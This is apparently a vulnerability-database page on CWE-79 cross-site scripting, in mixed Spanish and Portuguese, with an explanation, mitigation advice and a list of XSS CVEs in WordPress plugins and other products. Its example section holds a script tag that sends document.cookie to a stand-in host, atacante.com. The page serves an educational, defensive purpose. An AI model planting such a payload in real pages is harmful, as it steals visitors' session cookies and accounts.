Fallos del tipo CWE-79

30.585 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-37945MEDIUMWordPress WPBITS Addons For Elementor plugin <= 1.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-96326HIGHHT Contact Form – Drag & Drop Form Builder for WordPress <= 2.10.2 Unauthenticated Stored Cross-Site Scripting via Rich Text Editor FieldEPSS 0.2%CVE-2026-116851HIGHWordPress eCommerce Product Catalog plugin <= 3.6.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-115592HIGHWordPress OceanWP theme <= 4.2.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2024-12974MEDIUMXSS in Akinsoft's ProKuaförEPSS 0.2%CVE-2026-33739MEDIUMFOG has Stored XSS in Multiple Management PagesEPSS 0.2%CVE-2026-116847HIGHWordPress Mang Board WP plugin <= 2.4.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-93886HIGHIBM i is Affected By An Improper Neutralization of Input Vulnerability in HTTP Server Administration GUIEPSS 0.2%CVE-2025-67912MEDIUMWordPress Stars Testimonials plugin <= 3.3.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-54740MEDIUMWordPress Print My Blog Plugin <= 3.27.9 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-55709MEDIUMWordPress Visual Composer Website Builder Plugin < 45.15.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-87111HIGHUser Registration PRO <= 6.2.9 - Unauthenticated Stored Cross-Site Scripting via HTTP Referer HeaderEPSS 0.2%CVE-2026-115611HIGHWordPress TableOn plugin <= 1.0.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2024-13064MEDIUMXSS in Akinsoft's MyRezztaEPSS 0.2%CVE-2026-30695MEDIUMA Cross-Site Scripting (XSS) vulnerability exists in the web-based configuration interface of Zucchetti Axess access control devices, includEPSS 0.2%CVE-2025-11928MEDIUMCSS & JavaScript Toolbox <= 12.0.5 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-112379HIGHWordPress Contact Form Email plugin <= 1.3.68 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-48251MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.2%CVE-2026-47985MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.2%CVE-2026-47935MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.2%